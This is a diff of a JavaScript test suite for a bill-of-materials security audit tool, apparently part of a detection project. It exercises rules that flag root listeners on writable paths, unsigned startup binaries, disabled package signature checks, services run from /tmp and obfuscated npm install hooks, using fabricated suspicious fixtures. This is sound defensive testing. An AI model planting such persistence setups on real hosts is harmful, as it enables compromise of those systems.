["cdx:github:action:versionPinningType", "tag"],
|
|
2340
|
-
]),
|
|
2341
|
-
makeComponent("sketchy-pkg", "1.0.0", [
|
|
2342
|
-
["cdx:npm:hasInstallScript", "true"],
|
|
2343
|
-
["cdx:npm:isRegistryDependency", "false"],
|
|
4313
|
+
makeComponent("appthreat", "ssh-rsa", [
|
|
4314
|
+
["cdx:osquery:category", "authorized_keys_snapshot"],
|
|
4315
|
+
["key_file", "/home/appthreat/.ssh/authorized_keys"],
|
|
4316
|
+
["uid", "1000"],
|
|
2344
4317
|
]),
|
|
2345
4318
|
]);
|
|
2346
4319
|
|
|
2347
|
-
const
|
|
2348
|
-
|
|
2349
|
-
|
|
2350
|
-
|
|
2351
|
-
assert.strictEqual(f.category, "ci-permission");
|
|
2352
|
-
}
|
|
2353
|
-
});
|
|
2354
|
-
|
|
2355
|
-
it("expands the ai-inventory category alias", async () => {
|
|
2356
|
-
const bom = makeBom(
|
|
2357
|
-
[],
|
|
2358
|
-
[],
|
|
2359
|
-
[
|
|
2360
|
-
{
|
|
2361
|
-
type: "application",
|
|
2362
|
-
name: "agent-guide",
|
|
2363
|
-
version: "latest",
|
|
2364
|
-
"bom-ref": "file:/repo/AGENTS.md",
|
|
2365
|
-
properties: [
|
|
2366
|
-
{ name: "SrcFile", value: "/repo/AGENTS.md" },
|
|
2367
|
-
{ name: "cdx:agent:inventorySource", value: "agent-file" },
|
|
2368
|
-
{ name: "cdx:file:kind", value: "agent-instructions" },
|
|
2369
|
-
{
|
|
2370
|
-
name: "cdx:agent:hasNonOfficialMcpReference",
|
|
2371
|
-
value: "true",
|
|
2372
|
-
},
|
|
2373
|
-
{ name: "cdx:agent:mcpPackageRefs", value: "@acme/mcp-server" },
|
|
2374
|
-
],
|
|
2375
|
-
},
|
|
2376
|
-
],
|
|
2377
|
-
[
|
|
2378
|
-
{
|
|
2379
|
-
"bom-ref": "urn:service:mcp:demo:1",
|
|
2380
|
-
group: "mcp",
|
|
2381
|
-
name: "demo-server",
|
|
2382
|
-
authenticated: false,
|
|
2383
|
-
endpoints: ["https://mcp.example.com/mcp"],
|
|
2384
|
-
properties: [
|
|
2385
|
-
{ name: "cdx:mcp:transport", value: "streamable-http" },
|
|
2386
|
-
{ name: "cdx:mcp:serviceType", value: "inferred-endpoint" },
|
|
2387
|
-
{ name: "cdx:mcp:inventorySource", value: "agent-file" },
|
|
2388
|
-
{ name: "cdx:mcp:toolCount", value: "1" },
|
|
2389
|
-
{ name: "cdx:mcp:officialSdk", value: "false" },
|
|
2390
|
-
],
|
|
2391
|
-
},
|
|
2392
|
-
],
|
|
4320
|
+
const findings = await evaluateRule(rule, bom);
|
|
4321
|
+
assert.ok(
|
|
4322
|
+
findings.length > 0,
|
|
4323
|
+
"Should flag deprecated ssh-rsa authorized_keys entries",
|
|
2393
4324
|
);
|
|
2394
|
-
|
|
2395
|
-
|
|
2396
|
-
bomAuditCategories: "ai-inventory",
|
|
2397
|
-
});
|
|
2398
|
-
assert.ok(findings.some((finding) => finding.category === "ai-agent"));
|
|
2399
|
-
assert.ok(findings.some((finding) => finding.category === "mcp-server"));
|
|
4325
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
4326
|
+
assert.match(findings[0].message, /deprecated ssh-rsa/);
|
|
2400
4327
|
});
|
|
2401
4328
|
|
|
2402
|
-
it("
|
|
2403
|
-
await
|
|
2404
|
-
|
|
2405
|
-
|
|
2406
|
-
}),
|
|
2407
|
-
/Unknown BOM audit category: unknown-category\. Valid categories: .*ai-inventory \(alias for ai-agent,mcp-server\).*ci-permission.*mcp-server/,
|
|
2408
|
-
);
|
|
2409
|
-
});
|
|
4329
|
+
it("should classify managed privileged listeners as medium exposure review (OBOM-LNX-006)", async () => {
|
|
4330
|
+
const rules = await loadRules(RULES_DIR);
|
|
4331
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-006");
|
|
4332
|
+
assert.ok(rule, "OBOM-LNX-006 rule should exist");
|
|
2410
4333
|
|
|
2411
|
-
it("should filter by minimum severity", async () => {
|
|
2412
4334
|
const bom = makeBom([
|
|
2413
|
-
makeComponent("
|
|
2414
|
-
["cdx:
|
|
2415
|
-
["
|
|
2416
|
-
["
|
|
2417
|
-
["
|
|
4335
|
+
makeComponent("nginx", "", [
|
|
4336
|
+
["cdx:osquery:category", "privileged_listening_ports"],
|
|
4337
|
+
["address", "0.0.0.0"],
|
|
4338
|
+
["port", "443"],
|
|
4339
|
+
["path", "/usr/sbin/nginx"],
|
|
4340
|
+
["account", "root"],
|
|
4341
|
+
["package_source_hint", "package-managed"],
|
|
2418
4342
|
]),
|
|
2419
4343
|
]);
|
|
2420
4344
|
|
|
2421
|
-
const
|
|
2422
|
-
|
|
2423
|
-
|
|
2424
|
-
|
|
2425
|
-
assert.strictEqual(f.severity, "high");
|
|
2426
|
-
}
|
|
4345
|
+
const findings = await evaluateRule(rule, bom);
|
|
4346
|
+
assert.ok(findings.length > 0, "Should flag non-local privileged listener");
|
|
4347
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
4348
|
+
assert.match(findings[0].message, /\/usr\/sbin\/nginx/);
|
|
2427
4349
|
});
|
|
2428
4350
|
|
|
2429
|
-
it("
|
|
2430
|
-
const
|
|
4351
|
+
it("should keep writable-path privileged listeners as high-signal findings (OBOM-LNX-020)", async () => {
|
|
4352
|
+
const rules = await loadRules(RULES_DIR);
|
|
4353
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-020");
|
|
4354
|
+
assert.ok(rule, "OBOM-LNX-020 rule should exist");
|
|
2431
4355
|
|
|
2432
|
-
const
|
|
2433
|
-
|
|
2434
|
-
|
|
4356
|
+
const bom = makeBom([
|
|
4357
|
+
makeComponent("evil-listener", "", [
|
|
4358
|
+
["cdx:osquery:category", "privileged_listening_ports"],
|
|
4359
|
+
["address", "0.0.0.0"],
|
|
4360
|
+
["port", "8443"],
|
|
4361
|
+
["path", "/home/demo/.local/bin/evil-listener"],
|
|
4362
|
+
["account", "root"],
|
|
4363
|
+
["package_source_hint", "user-writable-path"],
|
|
4364
|
+
]),
|
|
4365
|
+
]);
|
|
4366
|
+
|
|
4367
|
+
const findings = await evaluateRule(rule, bom);
|
|
2435
4368
|
assert.ok(
|
|
2436
|
-
|
|
2437
|
-
"
|
|
4369
|
+
findings.length > 0,
|
|
4370
|
+
"Should flag privileged listener from writable path",
|
|
2438
4371
|
);
|
|
4372
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
4373
|
+
assert.match(findings[0].message, /evil-listener/);
|
|
2439
4374
|
});
|
|
2440
4375
|
|
|
2441
|
-
it("
|
|
2442
|
-
const
|
|
4376
|
+
it("should detect risky Public profile firewall rules (OBOM-WIN-011)", async () => {
|
|
4377
|
+
const rules = await loadRules(RULES_DIR);
|
|
4378
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-011");
|
|
4379
|
+
assert.ok(rule, "OBOM-WIN-011 rule should exist");
|
|
2443
4380
|
|
|
2444
|
-
const
|
|
2445
|
-
|
|
2446
|
-
|
|
2447
|
-
|
|
2448
|
-
|
|
2449
|
-
|
|
2450
|
-
|
|
4381
|
+
const bom = makeBom([
|
|
4382
|
+
makeComponent("RDP public allow", "", [
|
|
4383
|
+
["cdx:osquery:category", "windows_firewall_rules"],
|
|
4384
|
+
["enabled", "true"],
|
|
4385
|
+
["direction", "in"],
|
|
4386
|
+
["action", "allow"],
|
|
4387
|
+
["profile", "Public"],
|
|
4388
|
+
["local_ports", "3389"],
|
|
4389
|
+
]),
|
|
4390
|
+
]);
|
|
4391
|
+
|
|
4392
|
+
const findings = await evaluateRule(rule, bom);
|
|
4393
|
+
assert.ok(findings.length > 0, "Should detect Public inbound allow rule");
|
|
4394
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
2451
4395
|
});
|
|
2452
4396
|
|
|
2453
|
-
it("
|
|
2454
|
-
const
|
|
4397
|
+
it("should detect invalid Authenticode on startup artifacts (OBOM-WIN-012)", async () => {
|
|
4398
|
+
const rules = await loadRules(RULES_DIR);
|
|
4399
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-012");
|
|
4400
|
+
assert.ok(rule, "OBOM-WIN-012 rule should exist");
|
|
2455
4401
|
|
|
2456
|
-
const
|
|
2457
|
-
|
|
2458
|
-
|
|
2459
|
-
|
|
2460
|
-
|
|
2461
|
-
["
|
|
2462
|
-
),
|
|
2463
|
-
|
|
2464
|
-
|
|
4402
|
+
const bom = makeBom([
|
|
4403
|
+
makeComponent("Updater", "", [
|
|
4404
|
+
["cdx:osquery:category", "windows_run_keys"],
|
|
4405
|
+
["path", "C:\\Users\\Public\\updater.exe"],
|
|
4406
|
+
["cdx:windows:authenticode:status", "NotSigned"],
|
|
4407
|
+
["cdx:windows:authenticode:signerSubject", ""],
|
|
4408
|
+
]),
|
|
4409
|
+
]);
|
|
4410
|
+
|
|
4411
|
+
const findings = await evaluateRule(rule, bom);
|
|
4412
|
+
assert.ok(findings.length > 0, "Should detect invalid Authenticode status");
|
|
4413
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
2465
4414
|
});
|
|
2466
4415
|
|
|
2467
|
-
it("
|
|
2468
|
-
const
|
|
4416
|
+
it("should not treat unresolved Authenticode status as definitively invalid (OBOM-WIN-012)", async () => {
|
|
4417
|
+
const rules = await loadRules(RULES_DIR);
|
|
4418
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-012");
|
|
4419
|
+
assert.ok(rule, "OBOM-WIN-012 rule should exist");
|
|
2469
4420
|
|
|
2470
|
-
const
|
|
2471
|
-
|
|
2472
|
-
|
|
2473
|
-
|
|
2474
|
-
|
|
2475
|
-
|
|
2476
|
-
|
|
2477
|
-
),
|
|
2478
|
-
);
|
|
2479
|
-
assert.ok(
|
|
2480
|
-
workflowProps.some(
|
|
2481
|
-
(prop) =>
|
|
2482
|
-
prop.name === "cdx:github:workflow:workflowCallInputs" &&
|
|
2483
|
-
prop.value === "target",
|
|
2484
|
-
),
|
|
2485
|
-
);
|
|
4421
|
+
const bom = makeBom([
|
|
4422
|
+
makeComponent("Updater", "", [
|
|
4423
|
+
["cdx:osquery:category", "windows_run_keys"],
|
|
4424
|
+
["path", "C:\\Users\\Public\\updater.exe"],
|
|
4425
|
+
["cdx:windows:authenticode:status", "UnknownError"],
|
|
4426
|
+
]),
|
|
4427
|
+
]);
|
|
2486
4428
|
|
|
2487
|
-
const findings = await
|
|
2488
|
-
|
|
2489
|
-
});
|
|
2490
|
-
assert.ok(
|
|
2491
|
-
!findings.some((finding) => finding.ruleId === "CI-011"),
|
|
2492
|
-
"producer-side reusable workflow metadata should not be confused with external reusable workflow invocation",
|
|
2493
|
-
);
|
|
2494
|
-
assert.ok(
|
|
2495
|
-
!findings.some((finding) =>
|
|
2496
|
-
["CI-016", "CI-017"].includes(finding.ruleId),
|
|
2497
|
-
),
|
|
2498
|
-
"safe workflow_call producer should not trigger privileged producer rules",
|
|
2499
|
-
);
|
|
4429
|
+
const findings = await evaluateRule(rule, bom);
|
|
4430
|
+
assert.strictEqual(findings.length, 0);
|
|
2500
4431
|
});
|
|
2501
4432
|
|
|
2502
|
-
it("
|
|
2503
|
-
const
|
|
4433
|
+
it("should detect missing WDAC policy enforcement (OBOM-WIN-013)", async () => {
|
|
4434
|
+
const rules = await loadRules(RULES_DIR);
|
|
4435
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-013");
|
|
4436
|
+
assert.ok(rule, "OBOM-WIN-013 rule should exist");
|
|
2504
4437
|
|
|
2505
|
-
const
|
|
2506
|
-
|
|
2507
|
-
|
|
2508
|
-
|
|
2509
|
-
|
|
2510
|
-
|
|
2511
|
-
);
|
|
2512
|
-
assert.ok(
|
|
2513
|
-
findings.
|
|
2514
|
-
"
|
|
4438
|
+
const bom = makeBom([
|
|
4439
|
+
makeComponent("wdac-active-policies", "observed", [
|
|
4440
|
+
["cdx:windows:wdac:activePolicyCount", "0"],
|
|
4441
|
+
]),
|
|
4442
|
+
]);
|
|
4443
|
+
|
|
4444
|
+
const findings = await evaluateRule(rule, bom);
|
|
4445
|
+
assert.ok(
|
|
4446
|
+
findings.length > 0,
|
|
4447
|
+
"Should detect missing WDAC policy enforcement",
|
|
2515
4448
|
);
|
|
4449
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
2516
4450
|
});
|
|
2517
4451
|
|
|
2518
|
-
it("
|
|
2519
|
-
const
|
|
4452
|
+
it("should detect failed macOS notarization assessments with registration and target paths (OBOM-MAC-007)", async () => {
|
|
4453
|
+
const rules = await loadRules(RULES_DIR);
|
|
4454
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-007");
|
|
4455
|
+
assert.ok(rule, "OBOM-MAC-007 rule should exist");
|
|
2520
4456
|
|
|
2521
|
-
const
|
|
2522
|
-
|
|
2523
|
-
|
|
4457
|
+
const bom = makeBom([
|
|
4458
|
+
makeComponent("org.example.agent", "", [
|
|
4459
|
+
["cdx:osquery:category", "launchd_services"],
|
|
4460
|
+
["path", "/Library/LaunchDaemons/org.example.agent.plist"],
|
|
4461
|
+
["program", "/Applications/Suspicious.app/Contents/MacOS/Suspicious"],
|
|
4462
|
+
["cdx:darwin:codesign:teamIdentifier", "ABCDE12345"],
|
|
4463
|
+
["cdx:darwin:notarization:assessment", "rejected"],
|
|
4464
|
+
]),
|
|
4465
|
+
]);
|
|
4466
|
+
|
|
4467
|
+
const findings = await evaluateRule(rule, bom);
|
|
2524
4468
|
assert.ok(
|
|
2525
|
-
findings.
|
|
2526
|
-
"
|
|
4469
|
+
findings.length > 0,
|
|
4470
|
+
"Should detect failed notarization assessment",
|
|
2527
4471
|
);
|
|
2528
|
-
assert.
|
|
2529
|
-
|
|
2530
|
-
|
|
4472
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
4473
|
+
assert.match(
|
|
4474
|
+
findings[0].message,
|
|
4475
|
+
/\/Library\/LaunchDaemons\/org\.example\.agent\.plist/,
|
|
4476
|
+
);
|
|
4477
|
+
assert.match(
|
|
4478
|
+
findings[0].message,
|
|
4479
|
+
/\/Applications\/Suspicious\.app\/Contents\/MacOS\/Suspicious/,
|
|
4480
|
+
);
|
|
4481
|
+
assert.strictEqual(
|
|
4482
|
+
findings[0].evidence.registrationPath,
|
|
4483
|
+
"/Library/LaunchDaemons/org.example.agent.plist",
|
|
4484
|
+
);
|
|
4485
|
+
assert.strictEqual(
|
|
4486
|
+
findings[0].evidence.targetPath,
|
|
4487
|
+
"/Applications/Suspicious.app/Contents/MacOS/Suspicious",
|
|
2531
4488
|
);
|
|
2532
4489
|
});
|
|
2533
4490
|
|
|
2534
|
-
it("
|
|
4491
|
+
it("should ignore unknown notarization assessments for Apple-managed system apps (OBOM-MAC-008)", async () => {
|
|
2535
4492
|
const rules = await loadRules(RULES_DIR);
|
|
2536
|
-
const rule = rules.find((
|
|
2537
|
-
assert.ok(rule, "
|
|
4493
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-008");
|
|
4494
|
+
assert.ok(rule, "OBOM-MAC-008 rule should exist");
|
|
2538
4495
|
|
|
2539
4496
|
const bom = makeBom([
|
|
2540
|
-
makeComponent("
|
|
2541
|
-
["cdx:
|
|
2542
|
-
["
|
|
2543
|
-
["cdx:github:step:referencesSensitiveContext", "true"],
|
|
2544
|
-
["cdx:github:step:dispatchTargets", "workflow:release.yml"],
|
|
2545
|
-
["cdx:github:step:hasLocalDispatchReceiver", "true"],
|
|
2546
|
-
["cdx:github:step:dispatchReceiverWorkflowNames", "Release workflow"],
|
|
4497
|
+
makeComponent("Finder.app", "", [
|
|
4498
|
+
["cdx:osquery:category", "running_apps"],
|
|
4499
|
+
["bundle_path", "/System/Library/CoreServices/Finder.app"],
|
|
2547
4500
|
[
|
|
2548
|
-
"
|
|
2549
|
-
".
|
|
4501
|
+
"bundle_executable",
|
|
4502
|
+
"/System/Library/CoreServices/Finder.app/Contents/MacOS/Finder",
|
|
2550
4503
|
],
|
|
4504
|
+
["cdx:darwin:notarization:assessment", "unknown"],
|
|
2551
4505
|
]),
|
|
2552
4506
|
]);
|
|
2553
4507
|
|
|
2554
4508
|
const findings = await evaluateRule(rule, bom);
|
|
2555
|
-
assert.
|
|
2556
|
-
findings.length
|
|
2557
|
-
|
|
4509
|
+
assert.strictEqual(
|
|
4510
|
+
findings.length,
|
|
4511
|
+
0,
|
|
4512
|
+
"Should not alert on Apple-managed system apps with unknown assessment",
|
|
2558
4513
|
);
|
|
2559
|
-
assert.match(findings[0].message, /Release workflow/);
|
|
2560
|
-
assert.doesNotMatch(findings[0].message, /workflow:release\.yml/);
|
|
2561
4514
|
});
|
|
2562
4515
|
|
|
2563
|
-
it("
|
|
4516
|
+
it("should ignore rejected notarization on generic installed macOS app inventory (OBOM-MAC-007)", async () => {
|
|
4517
|
+
const rules = await loadRules(RULES_DIR);
|
|
4518
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-007");
|
|
4519
|
+
assert.ok(rule, "OBOM-MAC-007 rule should exist");
|
|
4520
|
+
|
|
2564
4521
|
const bom = makeBom([
|
|
2565
|
-
makeComponent("
|
|
2566
|
-
["cdx:
|
|
2567
|
-
["
|
|
2568
|
-
["cdx:npm:obfuscatedLifecycleScripts", "postinstall"],
|
|
4522
|
+
makeComponent("Installed.app", "", [
|
|
4523
|
+
["cdx:osquery:category", "apps"],
|
|
4524
|
+
["bundle_path", "/Applications/Installed.app"],
|
|
2569
4525
|
[
|
|
2570
|
-
"
|
|
2571
|
-
"
|
|
4526
|
+
"bundle_executable",
|
|
4527
|
+
"/Applications/Installed.app/Contents/MacOS/Installed",
|
|
2572
4528
|
],
|
|
2573
|
-
["cdx:
|
|
4529
|
+
["cdx:darwin:notarization:assessment", "rejected"],
|
|
2574
4530
|
]),
|
|
2575
4531
|
]);
|
|
2576
4532
|
|
|
2577
|
-
const findings = await
|
|
2578
|
-
|
|
2579
|
-
|
|
2580
|
-
|
|
2581
|
-
|
|
2582
|
-
"obfuscated lifecycle hooks should trigger INT-009",
|
|
4533
|
+
const findings = await evaluateRule(rule, bom);
|
|
4534
|
+
assert.strictEqual(
|
|
4535
|
+
findings.length,
|
|
4536
|
+
0,
|
|
4537
|
+
"Should not alert on generic installed app inventory",
|
|
2583
4538
|
);
|
|
2584
4539
|
});
|
|
2585
4540
|
|
|
2586
|
-
it("
|
|
2587
|
-
const
|
|
2588
|
-
|
|
2589
|
-
);
|
|
4541
|
+
it("should ignore Apple-managed system launchd services for notarization review (OBOM-MAC-007)", async () => {
|
|
4542
|
+
const rules = await loadRules(RULES_DIR);
|
|
4543
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-007");
|
|
4544
|
+
assert.ok(rule, "OBOM-MAC-007 rule should exist");
|
|
2590
4545
|
|
|
2591
|
-
const
|
|
2592
|
-
|
|
2593
|
-
|
|
2594
|
-
|
|
2595
|
-
|
|
2596
|
-
|
|
4546
|
+
const bom = makeBom([
|
|
4547
|
+
makeComponent("com.apple.test", "", [
|
|
4548
|
+
["cdx:osquery:category", "launchd_services"],
|
|
4549
|
+
["path", "/System/Library/LaunchDaemons/com.apple.test.plist"],
|
|
4550
|
+
["program", "/usr/libexec/testd"],
|
|
4551
|
+
["cdx:darwin:notarization:assessment", "rejected"],
|
|
4552
|
+
]),
|
|
4553
|
+
]);
|
|
4554
|
+
|
|
4555
|
+
const findings = await evaluateRule(rule, bom);
|
|
4556
|
+
assert.strictEqual(
|
|
4557
|
+
findings.length,
|
|
4558
|
+
0,
|
|
4559
|
+
"Should not alert on Apple-managed system launchd services",
|
|
2597
4560
|
);
|
|
2598
4561
|
});
|
|
2599
4562
|
|
|
2600
|
-
it("
|
|
2601
|
-
const
|
|
2602
|
-
|
|
2603
|
-
);
|
|
4563
|
+
it("should keep unknown notarization findings for user-controlled macOS launch agents (OBOM-MAC-008)", async () => {
|
|
4564
|
+
const rules = await loadRules(RULES_DIR);
|
|
4565
|
+
const rule = rules.find((r) => r.id === "OBOM-MAC-008");
|
|
4566
|
+
assert.ok(rule, "OBOM-MAC-008 rule should exist");
|
|
2604
4567
|
|
|
2605
|
-
const
|
|
2606
|
-
|
|
2607
|
-
|
|
2608
|
-
|
|
2609
|
-
|
|
2610
|
-
|
|
4568
|
+
const bom = makeBom([
|
|
4569
|
+
makeComponent("com.jetbrains.AppCode.BridgeService.plist", "", [
|
|
4570
|
+
["cdx:osquery:category", "launchd_services"],
|
|
4571
|
+
[
|
|
4572
|
+
"path",
|
|
4573
|
+
"/Users/prabhu/Library/LaunchAgents/com.jetbrains.AppCode.BridgeService.plist",
|
|
4574
|
+
],
|
|
4575
|
+
[
|
|
4576
|
+
"program",
|
|
4577
|
+
"/Users/prabhu/Applications/Rider.app/Contents/bin/Bridge.framework/Versions/A/Resources/BridgeService",
|
|
4578
|
+
],
|
|
4579
|
+
["cdx:darwin:notarization:assessment", "unknown"],
|
|
4580
|
+
]),
|
|
4581
|
+
]);
|
|
4582
|
+
|
|
4583
|
+
const findings = await evaluateRule(rule, bom);
|
|
4584
|
+
assert.strictEqual(findings.length, 1);
|
|
4585
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
4586
|
+
assert.match(findings[0].message, /Users\/prabhu\/Library\/LaunchAgents/);
|
|
4587
|
+
assert.match(
|
|
4588
|
+
findings[0].message,
|
|
4589
|
+
/Users\/prabhu\/Applications\/Rider\.app/,
|
|
2611
4590
|
);
|
|
2612
4591
|
});
|
|
2613
4592
|
|
|
2614
|
-
it("
|
|
2615
|
-
const
|
|
2616
|
-
|
|
2617
|
-
);
|
|
4593
|
+
it("should render actionable Windows Authenticode findings with registration and target paths (OBOM-WIN-014)", async () => {
|
|
4594
|
+
const rules = await loadRules(RULES_DIR);
|
|
4595
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-014");
|
|
4596
|
+
assert.ok(rule, "OBOM-WIN-014 rule should exist");
|
|
2618
4597
|
|
|
2619
|
-
const
|
|
2620
|
-
|
|
2621
|
-
|
|
2622
|
-
|
|
2623
|
-
|
|
2624
|
-
|
|
2625
|
-
|
|
2626
|
-
|
|
2627
|
-
|
|
4598
|
+
const bom = makeBom([
|
|
4599
|
+
makeComponent("\\Vendor\\Updater", "", [
|
|
4600
|
+
["cdx:osquery:category", "scheduled_tasks"],
|
|
4601
|
+
["path", "\\Vendor\\Updater"],
|
|
4602
|
+
["action", "C:\\ProgramData\\Vendor\\updater.exe"],
|
|
4603
|
+
["cdx:windows:authenticode:status", "UnknownError"],
|
|
4604
|
+
["cdx:windows:authenticode:signerSubject", "CN=Unknown"],
|
|
4605
|
+
]),
|
|
4606
|
+
]);
|
|
2628
4607
|
|
|
2629
|
-
|
|
2630
|
-
it("should create CycloneDX annotations from findings", () => {
|
|
2631
|
-
const bom = makeBom([]);
|
|
2632
|
-
const findings = [
|
|
2633
|
-
{
|
|
2634
|
-
ruleId: "CI-001",
|
|
2635
|
-
name: "Unpinned action",
|
|
2636
|
-
severity: "high",
|
|
2637
|
-
category: "ci-permission",
|
|
2638
|
-
message: "Unpinned GitHub Action detected",
|
|
2639
|
-
mitigation: "Pin to SHA",
|
|
2640
|
-
attackTactics: ["TA0001", "TA0004"],
|
|
2641
|
-
attackTechniques: ["T1195.001"],
|
|
2642
|
-
standards: {
|
|
2643
|
-
"owasp-ai-top-10": ["LLM07: Insecure Plugin Design"],
|
|
2644
|
-
"nist-ai-rmf": ["Manage"],
|
|
2645
|
-
},
|
|
2646
|
-
},
|
|
2647
|
-
];
|
|
2648
|
-
const annotations = formatAnnotations(findings, bom);
|
|
2649
|
-
assert.strictEqual(annotations.length, 1);
|
|
4608
|
+
const findings = await evaluateRule(rule, bom);
|
|
2650
4609
|
assert.ok(
|
|
2651
|
-
|
|
4610
|
+
findings.length > 0,
|
|
4611
|
+
"Should detect unresolved Authenticode status on user-controlled path",
|
|
2652
4612
|
);
|
|
2653
|
-
assert.
|
|
2654
|
-
assert.match(
|
|
2655
|
-
assert.match(
|
|
2656
|
-
assert.
|
|
2657
|
-
|
|
2658
|
-
|
|
2659
|
-
|
|
4613
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
4614
|
+
assert.match(findings[0].message, /\\Vendor\\Updater/);
|
|
4615
|
+
assert.match(findings[0].message, /C:\\ProgramData\\Vendor\\updater\.exe/);
|
|
4616
|
+
assert.strictEqual(
|
|
4617
|
+
findings[0].evidence.registrationPath,
|
|
4618
|
+
"\\Vendor\\Updater",
|
|
4619
|
+
);
|
|
4620
|
+
assert.strictEqual(
|
|
4621
|
+
findings[0].evidence.targetPath,
|
|
4622
|
+
"C:\\ProgramData\\Vendor\\updater.exe",
|
|
2660
4623
|
);
|
|
2661
|
-
assert.ok(annotations[0].subjects.includes(bom.serialNumber));
|
|
2662
4624
|
});
|
|
2663
4625
|
|
|
2664
|
-
it("should
|
|
2665
|
-
const
|
|
2666
|
-
|
|
2667
|
-
|
|
2668
|
-
components: [],
|
|
2669
|
-
};
|
|
2670
|
-
const findings = [
|
|
2671
|
-
{
|
|
2672
|
-
ruleId: "CI-001",
|
|
2673
|
-
severity: "high",
|
|
2674
|
-
category: "ci-permission",
|
|
2675
|
-
message: "test",
|
|
2676
|
-
},
|
|
2677
|
-
];
|
|
2678
|
-
const annotations = formatAnnotations(findings, bom);
|
|
2679
|
-
assert.deepStrictEqual(annotations, []);
|
|
2680
|
-
});
|
|
4626
|
+
it("should ignore unresolved Authenticode on Windows startup shortcut files (OBOM-WIN-014)", async () => {
|
|
4627
|
+
const rules = await loadRules(RULES_DIR);
|
|
4628
|
+
const rule = rules.find((r) => r.id === "OBOM-WIN-014");
|
|
4629
|
+
assert.ok(rule, "OBOM-WIN-014 rule should exist");
|
|
2681
4630
|
|
|
2682
|
-
|
|
2683
|
-
|
|
2684
|
-
|
|
2685
|
-
|
|
2686
|
-
|
|
2687
|
-
|
|
2688
|
-
|
|
2689
|
-
|
|
2690
|
-
|
|
2691
|
-
);
|
|
2692
|
-
assert.deepStrictEqual(annotations, []);
|
|
2693
|
-
});
|
|
2694
|
-
});
|
|
4631
|
+
const bom = makeBom([
|
|
4632
|
+
makeComponent("Service Fabric Local Cluster Manager.lnk", "", [
|
|
4633
|
+
["cdx:osquery:category", "startup_items"],
|
|
4634
|
+
[
|
|
4635
|
+
"path",
|
|
4636
|
+
"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Service Fabric Local Cluster Manager.lnk",
|
|
4637
|
+
],
|
|
4638
|
+
["cdx:windows:authenticode:status", "UnknownError"],
|
|
4639
|
+
]),
|
|
4640
|
+
]);
|
|
2695
4641
|
|
|
2696
|
-
|
|
2697
|
-
|
|
2698
|
-
const findings = [{ severity: "high" }];
|
|
2699
|
-
assert.ok(hasCriticalFindings(findings, {}));
|
|
4642
|
+
const findings = await evaluateRule(rule, bom);
|
|
4643
|
+
assert.strictEqual(findings.length, 0);
|
|
2700
4644
|
});
|
|
2701
4645
|
|
|
2702
|
-
it("should
|
|
2703
|
-
const
|
|
2704
|
-
|
|
4646
|
+
it("should detect yum repositories with gpgcheck disabled (RFS-002)", async () => {
|
|
4647
|
+
const rules = await loadRules(RULES_DIR);
|
|
4648
|
+
const rule = rules.find((r) => r.id === "RFS-002");
|
|
4649
|
+
assert.ok(rule, "RFS-002 rule should exist");
|
|
4650
|
+
|
|
4651
|
+
const bom = makeBom([
|
|
4652
|
+
{
|
|
4653
|
+
type: "data",
|
|
4654
|
+
name: "internal.repo",
|
|
4655
|
+
version: "configured",
|
|
4656
|
+
purl: "pkg:generic/os-repository/internal.repo@configured",
|
|
4657
|
+
"bom-ref": "pkg:generic/os-repository/internal.repo@configured",
|
|
4658
|
+
properties: [
|
|
4659
|
+
{ name: "SrcFile", value: "/etc/yum.repos.d/internal.repo" },
|
|
4660
|
+
{ name: "cdx:os:repo:type", value: "yum-repository" },
|
|
4661
|
+
{ name: "cdx:os:repo:enabled", value: "true" },
|
|
4662
|
+
{
|
|
4663
|
+
name: "cdx:os:repo:url",
|
|
4664
|
+
value: "https://repo.example.invalid/baseos",
|
|
4665
|
+
},
|
|
4666
|
+
{ name: "cdx:os:repo:gpgcheck", value: "0" },
|
|
4667
|
+
],
|
|
4668
|
+
},
|
|
4669
|
+
]);
|
|
4670
|
+
|
|
4671
|
+
const findings = await evaluateRule(rule, bom);
|
|
4672
|
+
assert.ok(findings.length > 0, "Should detect disabled gpgcheck");
|
|
4673
|
+
assert.strictEqual(findings[0].severity, "critical");
|
|
2705
4674
|
});
|
|
2706
4675
|
|
|
2707
|
-
it("should
|
|
2708
|
-
const
|
|
2709
|
-
|
|
2710
|
-
assert.ok(
|
|
2711
|
-
|
|
2712
|
-
|
|
2713
|
-
|
|
2714
|
-
|
|
2715
|
-
|
|
2716
|
-
|
|
2717
|
-
|
|
4676
|
+
it("should detect services executing from temporary paths (RFS-005)", async () => {
|
|
4677
|
+
const rules = await loadRules(RULES_DIR);
|
|
4678
|
+
const rule = rules.find((r) => r.id === "RFS-005");
|
|
4679
|
+
assert.ok(rule, "RFS-005 rule should exist");
|
|
4680
|
+
|
|
4681
|
+
const bom = makeBom(
|
|
4682
|
+
[],
|
|
4683
|
+
[],
|
|
4684
|
+
[],
|
|
4685
|
+
[
|
|
4686
|
+
{
|
|
4687
|
+
name: "evil-service",
|
|
4688
|
+
version: "1.0.0",
|
|
4689
|
+
"bom-ref": "urn:service:systemd:test:evil-service",
|
|
4690
|
+
properties: [
|
|
4691
|
+
{ name: "SrcFile", value: "/etc/systemd/system/evil.service" },
|
|
4692
|
+
{ name: "cdx:service:manager", value: "systemd" },
|
|
4693
|
+
{ name: "cdx:service:ExecStart", value: "/tmp/run-evil.sh" },
|
|
4694
|
+
{
|
|
4695
|
+
